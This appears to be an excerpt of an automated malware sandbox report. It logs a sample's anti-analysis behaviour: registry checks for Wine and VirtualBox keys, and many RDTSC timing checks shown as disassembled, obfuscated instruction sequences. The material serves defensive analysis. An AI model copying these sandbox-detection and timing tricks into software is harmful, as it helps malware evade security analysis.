Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41C890 second address: 41C89A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41C89A second address: 41C89E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41C89E second address: 41C8A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 432D64 second address: 432D77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828E7045Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 432D77 second address: 432D7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 433169 second address: 43319A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 ja 00007F4828E70456h 0x0000000c jmp 00007F4828E7045Ch 0x00000011 jmp 00007F4828E7045Ch 0x00000016 push eax 0x00000017 pop eax 0x00000018 popad 0x00000019 pop edx 0x0000001a pushad 0x0000001b jne 00007F4828E7045Ch 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43347C second address: 433484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 433484 second address: 433489 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 436039 second address: 43603D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43603D second address: 436061 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828E70464h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c pushad 0x0000000d jl 00007F4828E70456h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4360B7 second address: 4360BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4360BB second address: 4360C9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4828E70456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4360C9 second address: 4360CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4360CD second address: 4360D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4360D1 second address: 436168 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F4828F7EDDBh 0x0000000d nop 0x0000000e mov si, dx 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007F4828F7EDD8h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 00000017h 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d mov dword ptr [ebp+122D2732h], ebx 0x00000033 push 3CF42706h 0x00000038 jmp 00007F4828F7EDE9h 0x0000003d xor dword ptr [esp], 3CF42786h 0x00000044 mov dx, 395Fh 0x00000048 push 00000003h 0x0000004a mov ecx, 01A6E994h 0x0000004f push 00000000h 0x00000051 sub dword ptr [ebp+122D1D36h], esi 0x00000057 and edx, 5F82C372h 0x0000005d push 00000003h 0x0000005f sub edi, dword ptr [ebp+122D280Dh] 0x00000065 call 00007F4828F7EDD9h 0x0000006a push eax 0x0000006b push edx 0x0000006c push eax 0x0000006d push edx 0x0000006e je 00007F4828F7EDD6h 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 436168 second address: 43616E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43616E second address: 436174 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 436174 second address: 4361DE instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4828E70456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F4828E7045Bh 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jmp 00007F4828E7045Eh 0x0000001b mov eax, dword ptr [eax] 0x0000001d jno 00007F4828E7045Eh 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push ecx 0x0000002a pop ecx 0x0000002b pop eax 0x0000002c pop edx 0x0000002d pop eax 0x0000002e or dword ptr [ebp+122D1FE9h], edi 0x00000034 lea ebx, dword ptr [ebp+12449F38h] 0x0000003a mov di, ax 0x0000003d jmp 00007F4828E70460h 0x00000042 xchg eax, ebx 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4361DE second address: 4361F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4828F7EDE5h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4361F8 second address: 436202 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F4828E70456h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43629C second address: 4362D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push ecx 0x00000009 ja 00007F4828F7EDE0h 0x0000000f pop ecx 0x00000010 nop 0x00000011 mov dword ptr [ebp+122D2769h], esi 0x00000017 push 00000000h 0x00000019 mov dword ptr [ebp+122D1894h], eax 0x0000001f push 2AFBA8D8h 0x00000024 pushad 0x00000025 je 00007F4828F7EDDCh 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 436416 second address: 436512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F4828E70458h 0x0000000b popad 0x0000000c push eax 0x0000000d ja 00007F4828E70464h 0x00000013 jmp 00007F4828E7045Eh 0x00000018 nop 0x00000019 mov edx, dword ptr [ebp+122D1894h] 0x0000001f push 00000000h 0x00000021 jmp 00007F4828E70461h 0x00000026 call 00007F4828E70459h 0x0000002b jne 00007F4828E70460h 0x00000031 pushad 0x00000032 pushad 0x00000033 popad 0x00000034 jns 00007F4828E70456h 0x0000003a popad 0x0000003b push eax 0x0000003c jmp 00007F4828E70462h 0x00000041 mov eax, dword ptr [esp+04h] 0x00000045 jno 00007F4828E70470h 0x0000004b mov eax, dword ptr [eax] 0x0000004d jmp 00007F4828E7045Eh 0x00000052 mov dword ptr [esp+04h], eax 0x00000056 jnc 00007F4828E70466h 0x0000005c pop eax 0x0000005d xor dword ptr [ebp+122D30ECh], ecx 0x00000063 mov esi, dword ptr [ebp+122D279Dh] 0x00000069 push 00000003h 0x0000006b push 00000000h 0x0000006d xor dword ptr [ebp+122D19B0h], esi 0x00000073 push 00000003h 0x00000075 mov edi, dword ptr [ebp+122D2AFDh] 0x0000007b cld 0x0000007c call 00007F4828E70459h 0x00000081 jg 00007F4828E7045Eh 0x00000087 push eax 0x00000088 push eax 0x00000089 push edx 0x0000008a jmp 00007F4828E7045Bh 0x0000008f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42BCA3 second address: 42BCBC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828F7EDE3h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42BCBC second address: 42BCC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42BCC0 second address: 42BD19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jnl 00007F4828F7EDD8h 0x00000011 push ecx 0x00000012 jmp 00007F4828F7EDE6h 0x00000017 jmp 00007F4828F7EDE9h 0x0000001c pop ecx 0x0000001d jmp 00007F4828F7EDE1h 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42BD19 second address: 42BD1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42BD1D second address: 42BD21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4544E9 second address: 454503 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828E7045Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jg 00007F4828E70456h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 454503 second address: 454509 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 454509 second address: 45450E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45450E second address: 45452E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 jbe 00007F4828F7EDD6h 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4828F7EDE2h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4546A2 second address: 4546A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 454D60 second address: 454D7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F4828F7EDDBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F4828F7EDDDh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 454D7E second address: 454D84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 454D84 second address: 454D88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 454EEE second address: 454EF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 454EF3 second address: 454EFD instructions: 0x00000000 rdtsc 0x00000002 js 00007F4828F7EDDEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 455030 second address: 455040 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4828E70456h 0x00000008 jc 00007F4828E70456h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 455040 second address: 45505C instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4828F7EDE7h 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 455590 second address: 455594 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 455594 second address: 45559A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45559A second address: 4555A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F4828E70456h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4555A4 second address: 4555CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4828F7EDE0h 0x0000000d jmp 00007F4828F7EDDFh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4555CB second address: 4555E6 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4828E70456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jl 00007F4828E70477h 0x00000012 push edi 0x00000013 jnp 00007F4828E70456h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 455766 second address: 45576A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45576A second address: 455772 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 455EAF second address: 455ECA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828F7EDE4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45607A second address: 456085 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jo 00007F4828E70456h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4561AA second address: 4561B3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4561B3 second address: 4561B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45C586 second address: 45C58C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45C651 second address: 45C66F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4828E70456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4828E70461h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45C66F second address: 45C6C4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F4828F7EDE6h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jbe 00007F4828F7EDFAh 0x00000015 mov eax, dword ptr [eax] 0x00000017 push edi 0x00000018 push eax 0x00000019 push edx 0x0000001a jo 00007F4828F7EDD6h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45C6C4 second address: 45C6D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jnc 00007F4828E70464h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45C6D9 second address: 45C6DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 460E28 second address: 460E45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828E70469h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 460E45 second address: 460E51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F4828F7EDD6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 460E51 second address: 460E55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 460E55 second address: 460E5F instructions: 0x00000000 rdtsc 0x00000002 je 00007F4828F7EDD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 460E5F second address: 460E9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4828E70465h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ecx 0x0000000e push esi 0x0000000f jmp 00007F4828E70467h 0x00000014 pop esi 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 460E9A second address: 460E9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 461655 second address: 461659 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 461659 second address: 46169E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 push edi 0x00000009 jmp 00007F4828F7EDE1h 0x0000000e pop edi 0x0000000f pushad 0x00000010 jmp 00007F4828F7EDE1h 0x00000015 push edx 0x00000016 pop edx 0x00000017 push eax 0x00000018 pop eax 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c jmp 00007F4828F7EDDDh 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46169E second address: 4616A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F4828E70456h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4616A8 second address: 4616AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4655DB second address: 465620 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828E7045Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F4828E70464h 0x0000000f xchg eax, ebx 0x00000010 jmp 00007F4828E70460h 0x00000015 mov esi, 77C69925h 0x0000001a nop 0x0000001b push ecx 0x0000001c push eax 0x0000001d push edx 0x0000001e jg 00007F4828E70456h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4656F5 second address: 46570A instructions: 0x00000000 rdtsc 0x00000002 js 00007F4828F7EDD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jp 00007F4828F7EDD6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4659BA second address: 4659BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4659BE second address: 4659C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4659C4 second address: 4659CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F4828E70456h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 465AC4 second address: 465AC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4660EB second address: 4660F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4660F1 second address: 466107 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4828F7EDE2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 466107 second address: 466189 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4828E70456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007F4828E70458h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 stc 0x0000002a cld 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push edx 0x00000030 call 00007F4828E70458h 0x00000035 pop edx 0x00000036 mov dword ptr [esp+04h], edx 0x0000003a add dword ptr [esp+04h], 0000001Bh 0x00000042 inc edx 0x00000043 push edx 0x00000044 ret 0x00000045 pop edx 0x00000046 ret 0x00000047 and edi, 7A6CA186h 0x0000004d push 00000000h 0x0000004f mov si, di 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007F4828E70469h 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 466189 second address: 466193 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F4828F7EDD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 466A83 second address: 466B0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828E70469h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jne 00007F4828E70469h 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007F4828E70458h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 0000001Ch 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b push 00000000h 0x0000002d mov esi, dword ptr [ebp+122D1D30h] 0x00000033 push 00000000h 0x00000035 mov esi, dword ptr [ebp+122D1D5Dh] 0x0000003b push eax 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F4828E70467h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 466B0A second address: 466B0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 466B0E second address: 466B1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F4828E7045Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 467B6F second address: 467B73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46862C second address: 46863F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F4828E70456h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46863F second address: 46864F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F4828F7EDD6h 0x0000000a popad 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
